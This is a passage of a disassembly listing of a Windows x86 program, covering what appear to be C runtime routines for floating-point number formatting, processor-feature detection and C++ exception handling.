fstp st
wait
loc_4220F5: ; CODE XREF: sub_4220AC+3Ej
test cl, 20h
jz short locret_422100
fldpi
fstp [ebp+var_8]
wait
locret_422100: ; CODE XREF: sub_4220AC+4Cj
leave
retn
sub_4220AC endp
; =============== S U B R O U T I N E =======================================
sub_422102 proc near ; CODE XREF: sub_41D124+Fp
push 30000h
push 10000h
call sub_424865
pop ecx
pop ecx
retn
sub_422102 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422114 proc near ; CODE XREF: sub_422152:loc_422176j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld ds:dbl_427870
fstp [ebp+var_8]
fld ds:dbl_427868
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp ds:dbl_4276F8
fnstsw ax
sahf
jbe short loc_42214E
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_42214E: ; CODE XREF: sub_422114+33j
xor eax, eax
leave
retn
sub_422114 endp
; =============== S U B R O U T I N E =======================================
sub_422152 proc near ; CODE XREF: sub_41D124+5p
push offset aKernel32 ; "KERNEL32"
call ds:dword_4270A4 ; GetModuleHandleA
test eax, eax
jz short loc_422176
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call ds:dword_4270C4 ; GetProcAddress
test eax, eax
jz short loc_422176
push 0
call eax ; sub_41D124
retn
; ---------------------------------------------------------------------------
loc_422176: ; CODE XREF: sub_422152+Dj
; sub_422152+1Dj
jmp sub_422114
sub_422152 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42217B proc near ; CODE XREF: sub_41FF3F+3CBp
; DATA XREF: sub_41D13C+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_41DFEC
cmp eax, 65h
pop ecx
jz short loc_4221BB
loc_42218F: ; CODE XREF: sub_42217B+3Ej
inc esi
cmp dword_43D084, 1
jle short loc_4221A8
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4221B7
; ---------------------------------------------------------------------------
loc_4221A8: ; CODE XREF: sub_42217B+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 4
loc_4221B7: ; CODE XREF: sub_42217B+2Bj
test eax, eax
jnz short loc_42218F
loc_4221BB: ; CODE XREF: sub_42217B+12j
mov cl, byte_43D088
mov al, [esi]
mov [esi], cl
inc esi
loc_4221C6: ; CODE XREF: sub_42217B+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_4221C6
pop esi
retn
sub_42217B endp
; =============== S U B R O U T I N E =======================================
sub_4221D5 proc near ; CODE XREF: sub_41FF3F+3E2p
; DATA XREF: sub_41D13C+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_43D088
mov cl, [eax]
test cl, cl
jz short loc_4221F1
loc_4221E5: ; CODE XREF: sub_4221D5+1Aj
cmp cl, dl
jz short loc_4221F1
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_4221E5
loc_4221F1: ; CODE XREF: sub_4221D5+Ej
; sub_4221D5+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_422222
loc_4221F8: ; CODE XREF: sub_4221D5+34j
mov cl, [eax]
test cl, cl
jz short loc_42220B
cmp cl, 65h
jz short loc_42220B
cmp cl, 45h
jz short loc_42220B
inc eax
jmp short loc_4221F8
; ---------------------------------------------------------------------------
loc_42220B: ; CODE XREF: sub_4221D5+27j
; sub_4221D5+2Cj ...
mov ecx, eax
loc_42220D: ; CODE XREF: sub_4221D5+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_42220D
cmp [eax], dl
jnz short loc_422218
dec eax
loc_422218: ; CODE XREF: sub_4221D5+40j
; sub_4221D5+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_422218
locret_422222: ; CODE XREF: sub_4221D5+21j
retn
sub_4221D5 endp
; =============== S U B R O U T I N E =======================================
sub_422223 proc near ; DATA XREF: sub_41D13C+28o
; .data:off_43D430o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp ds:dbl_427860
fnstsw ax
sahf
jb short loc_422238
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422238: ; CODE XREF: sub_422223+Fj
xor eax, eax
retn
sub_422223 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42223B proc near ; CODE XREF: sub_420DB0+430p
; DATA XREF: sub_41D13C+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_422264
lea eax, [ebp+var_8]
push eax
call sub_424D28
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_422264: ; CODE XREF: sub_42223B+Cj
lea eax, [ebp+arg_8]
push eax
call sub_424D55
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_42223B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422279 proc near ; CODE XREF: sub_4224F6+17p
; sub_422540+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_4DBE5C, 0
push ebx
push esi
jz short loc_4222AE
mov ebx, [ebp+arg_8]
mov eax, dword_4DBE58
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_422591
pop ecx
pop ecx
jmp short loc_4222E6
; ---------------------------------------------------------------------------
loc_4222AE: ; CODE XREF: sub_422279+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_424DF9
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_424D82
add esp, 14h
loc_4222E6: ; CODE XREF: sub_422279+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_4222F2
mov byte ptr [eax], 2Dh
inc eax
loc_4222F2: ; CODE XREF: sub_422279+73j
test ebx, ebx
jle short loc_42230A
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_43D088
mov eax, edi
pop edi
mov [eax], cl
loc_42230A: ; CODE XREF: sub_422279+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_4DBE5C, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41C890
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_422331
mov byte ptr [ecx], 45h
loc_422331: ; CODE XREF: sub_422279+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_422376
mov ebx, [esi+4]
dec ebx
jns short loc_422345
neg ebx
mov byte ptr [ecx], 2Dh
loc_422345: ; CODE XREF: sub_422279+C5j
inc ecx
cmp ebx, 64h
jl short loc_42235C
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_42235C: ; CODE XREF: sub_422279+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_422373
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_422373: ; CODE XREF: sub_422279+E7j
add [ecx+1], bl
loc_422376: ; CODE XREF: sub_422279+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_422279 endp
; =============== S U B R O U T I N E =======================================
sub_42237D proc near ; CODE XREF: sub_42251D+13p
; sub_422540+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_4DBE5C, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_4223B8
mov eax, dword_4DBE60
mov ebx, [esp+10h+arg_8]
mov esi, dword_4DBE58
cmp eax, ebx
jnz short loc_4223E8
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_4223E8
; ---------------------------------------------------------------------------
loc_4223B8: ; CODE XREF: sub_42237D+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_424DF9
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_424D82
add esp, 14h
loc_4223E8: ; CODE XREF: sub_42237D+22j
; sub_42237D+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_4223F6
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_4223F6: ; CODE XREF: sub_42237D+70j
mov eax, [esi+4]
test eax, eax
jg short loc_42240D
push 1
push edi
call sub_422591
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_42240F
; ---------------------------------------------------------------------------
loc_42240D: ; CODE XREF: sub_42237D+7Ej
add edi, eax
loc_42240F: ; CODE XREF: sub_42237D+8Ej
test ebx, ebx
jle short loc_422454
push 1
push edi
call sub_422591
mov al, byte_43D088
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_422454
cmp byte_4DBE5C, 0
jz short loc_422439
neg esi
jmp short loc_42243F
; ---------------------------------------------------------------------------
loc_422439: ; CODE XREF: sub_42237D+B6j
neg esi
cmp ebx, esi
jl short loc_422441
loc_42243F: ; CODE XREF: sub_42237D+BAj
mov ebx, esi
loc_422441: ; CODE XREF: sub_42237D+C0j
push ebx
push edi
call sub_422591
push ebx
push 30h
push edi
call sub_41BF70
add esp, 14h
loc_422454: ; CODE XREF: sub_42237D+94j
; sub_42237D+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_42237D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42245B proc near ; CODE XREF: sub_422540+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_424DF9
mov dword_4DBE58, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_4DBE60, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_424D82
mov eax, dword_4DBE58
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_4DBE60, ecx
setl cl
mov byte_4DBE64, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_4DBE60, eax
jl short loc_4224E1
cmp eax, ebx
jge short loc_4224E1
test cl, cl
jz short loc_4224D2
loc_4224C8: ; CODE XREF: sub_42245B+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_4224C8
and [esi-2], al
loc_4224D2: ; CODE XREF: sub_42245B+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_42251D
add esp, 0Ch
jmp short loc_4224F1
; ---------------------------------------------------------------------------
loc_4224E1: ; CODE XREF: sub_42245B+63j
; sub_42245B+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_4224F6
add esp, 10h
loc_4224F1: ; CODE XREF: sub_42245B+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42245B endp
; =============== S U B R O U T I N E =======================================
sub_4224F6 proc near ; CODE XREF: sub_42245B+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_4DBE5C, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_422279
and byte_4DBE5C, 0
add esp, 10h
retn
sub_4224F6 endp
; =============== S U B R O U T I N E =======================================
sub_42251D proc near ; CODE XREF: sub_42245B+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_4DBE5C, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_42237D
and byte_4DBE5C, 0
add esp, 0Ch
retn
sub_42251D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422540 proc near ; CODE XREF: sub_41FF3F+3AAp
; DATA XREF: sub_41D13Co ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_42257B
cmp [ebp+arg_8], 45h
jz short loc_42257B
cmp [ebp+arg_8], 66h
jnz short loc_422568
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42237D
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_422568: ; CODE XREF: sub_422540+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42245B
jmp short loc_42258C
; ---------------------------------------------------------------------------
loc_42257B: ; CODE XREF: sub_422540+7j
; sub_422540+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_422279
loc_42258C: ; CODE XREF: sub_422540+39j
add esp, 10h
pop ebp
retn
sub_422540 endp
; =============== S U B R O U T I N E =======================================
sub_422591 proc near ; CODE XREF: sub_422279+2Cp
; sub_42237D+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_4225B4
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_41B9C0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41D670
add esp, 10h
pop esi
loc_4225B4: ; CODE XREF: sub_422591+7j
pop edi
retn
sub_422591 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4225B6 proc near ; CODE XREF: .text:0041D31Cp
; sub_41D385+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_4225CC
call sub_422E52
loc_4225CC: ; CODE XREF: sub_4225B6+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_4225F4
cmp dword ptr [esi+4], 0
jz short loc_42264A
cmp [ebp+arg_14], 0
jnz short loc_42264A
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_4228FD
add esp, 10h
jmp short loc_42264A
; ---------------------------------------------------------------------------
loc_4225F4: ; CODE XREF: sub_4225B6+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_42264A
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42262E
cmp [eax+14h], edi
jbe short loc_42262E
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_42262E
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_42264D
; ---------------------------------------------------------------------------
loc_42262E: ; CODE XREF: sub_4225B6+4Aj
; sub_4225B6+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_422651
add esp, 20h
loc_42264A: ; CODE XREF: sub_4225B6+23j
; sub_4225B6+29j ...
push 1
pop eax
loc_42264D: ; CODE XREF: sub_4225B6+76j
pop edi
pop esi
pop ebp
retn
sub_4225B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422651 proc near ; CODE XREF: sub_4225B6+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_422671
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_422676
loc_422671: ; CODE XREF: sub_422651+16j
call sub_422E52
loc_422676: ; CODE XREF: sub_422651+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz short loc_4226EA
cmp [esi+14h], edi
jnz short loc_4226EA
cmp dword ptr [esi+1Ch], 0
jnz short loc_4226EA
mov esi, dword_4DBE68
test esi, esi
jz loc_4227C8
mov eax, dword_4DBE6C
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_424F80
pop ecx
test eax, eax
pop ecx
jnz short loc_4226CC
call sub_422E52
loc_4226CC: ; CODE XREF: sub_422651+74j
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz short loc_4226EA
cmp [esi+14h], edi
jnz short loc_4226EA
cmp dword ptr [esi+1Ch], 0
jnz short loc_4226EA
call sub_422E52
loc_4226EA: ; CODE XREF: sub_422651+41j
; sub_422651+46j ...
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz loc_4227CD
cmp [esi+14h], edi
jnz loc_4227CD
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D4D3
add esp, 14h
mov ebx, eax
loc_422721: ; CODE XREF: sub_422651+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_4227B8
cmp [ebx], edi
jg short loc_4227AD
cmp edi, [ebx+4]
jg short loc_4227AD
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_4227AA
loc_422746: ; CODE XREF: sub_422651+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_422777
loc_422758: ; CODE XREF: sub_422651+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_4228A0
add esp, 0Ch
test eax, eax
jnz short loc_422786
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_422758
loc_422777: ; CODE XREF: sub_422651+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_422746
jmp short loc_4227AA
; ---------------------------------------------------------------------------
loc_422786: ; CODE XREF: sub_422651+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4229B1
add esp, 2Ch
loc_4227AA: ; CODE XREF: sub_422651+F3j
; sub_422651+133j
mov edi, [ebp+var_10]
loc_4227AD: ; CODE XREF: sub_422651+DEj
; sub_422651+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_422721
; ---------------------------------------------------------------------------
loc_4227B8: ; CODE XREF: sub_422651+D6j
cmp [ebp+arg_14], 0
jz short loc_4227C8
push 1
push esi
call sub_422D26
pop ecx
pop ecx
loc_4227C8: ; CODE XREF: sub_422651+56j
; sub_422651+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4227CD: ; CODE XREF: sub_422651+37j
; sub_422651+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_4227F3
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4227F8
add esp, 20h
jmp short loc_4227C8
; ---------------------------------------------------------------------------
loc_4227F3: ; CODE XREF: sub_422651+180j
jmp sub_422DFC
sub_422651 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4227F8 proc near ; CODE XREF: sub_422651+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_4DBE70, 0
push esi
push edi
jz short loc_422829
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41D3AA
add esp, 1Ch
test eax, eax
jnz short loc_42289C
loc_422829: ; CODE XREF: sub_4227F8+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D4D3
add esp, 14h
mov esi, eax
loc_422845: ; CODE XREF: sub_4227F8+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_42289C
cmp edi, [esi]
jl short loc_422894
cmp edi, [esi+4]
jg short loc_422894
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_42286E
cmp byte ptr [ecx+8], 0
jnz short loc_422894
loc_42286E: ; CODE XREF: sub_4227F8+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4229B1
add esp, 2Ch
loc_422894: ; CODE XREF: sub_4227F8+57j
; sub_4227F8+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_422845
; ---------------------------------------------------------------------------
loc_42289C: ; CODE XREF: sub_4227F8+2Fj
; sub_4227F8+53j
pop edi
pop esi
leave
retn
sub_4227F8 endp
; =============== S U B R O U T I N E =======================================
sub_4228A0 proc near ; CODE XREF: sub_422651+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_4228F7
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_4228F7
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_4228D1
add ecx, 8
push ecx
push edx
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4228F3
loc_4228D1: ; CODE XREF: sub_4228A0+1Fj
test byte ptr [esi], 2
jz short loc_4228DB
test byte ptr [edi], 8
jz short loc_4228F3
loc_4228DB: ; CODE XREF: sub_4228A0+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_4228EA
test byte ptr [edi], 1
jz short loc_4228F3
loc_4228EA: ; CODE XREF: sub_4228A0+43j
test al, 2
jz short loc_4228F7
test byte ptr [edi], 2
jnz short loc_4228F7
loc_4228F3: ; CODE XREF: sub_4228A0+2Fj
; sub_4228A0+39j ...
xor eax, eax
jmp short loc_4228FA
; ---------------------------------------------------------------------------
loc_4228F7: ; CODE XREF: sub_4228A0+Bj
; sub_4228A0+14j ...
push 1
pop eax
loc_4228FA: ; CODE XREF: sub_4228A0+55j
pop edi
pop esi
retn
sub_4228A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4228FD proc near ; CODE XREF: sub_4225B6+34p
; sub_4229B1+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278A8
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_42292F: ; CODE XREF: sub_4228FD+8Aj
cmp esi, [ebp+arg_C]
jz short loc_422989
cmp esi, 0FFFFFFFFh
jle short loc_42293E
cmp esi, [edi+4]
jl short loc_422943
loc_42293E: ; CODE XREF: sub_4228FD+3Aj
call sub_422E52
loc_422943: ; CODE XREF: sub_4228FD+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_42295E
push 103h
push ebx
push eax
call sub_422DB0
loc_42295E: ; CODE XREF: sub_4228FD+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42297E
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_42299B
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_42297E: ; CODE XREF: sub_4228FD+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_42292F
; ---------------------------------------------------------------------------
loc_422989: ; CODE XREF: sub_4228FD+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4228FD endp
; =============== S U B R O U T I N E =======================================
sub_42299B proc near ; CODE XREF: sub_4228FD+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_4229AC
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4229AC: ; CODE XREF: sub_42299B+Cj
jmp sub_422DFC
sub_42299B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4229B1 proc near ; CODE XREF: sub_422651+151p
; sub_4227F8+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_4229D3
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_422B62
add esp, 10h
loc_4229D3: ; CODE XREF: sub_4229B1+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_4229DF
push edi
jmp short loc_4229E2
; ---------------------------------------------------------------------------
loc_4229DF: ; CODE XREF: sub_4229B1+29j
push [ebp+arg_24]
loc_4229E2: ; CODE XREF: sub_4229B1+2Cj
call sub_41D2AC
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_4228FD
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_422A2C
add esp, 2Ch
test eax, eax
jz short loc_422A27
push edi
push eax
call sub_41D26A
loc_422A27: ; CODE XREF: sub_4229B1+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4229B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422A2C proc near ; CODE XREF: sub_4229B1+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
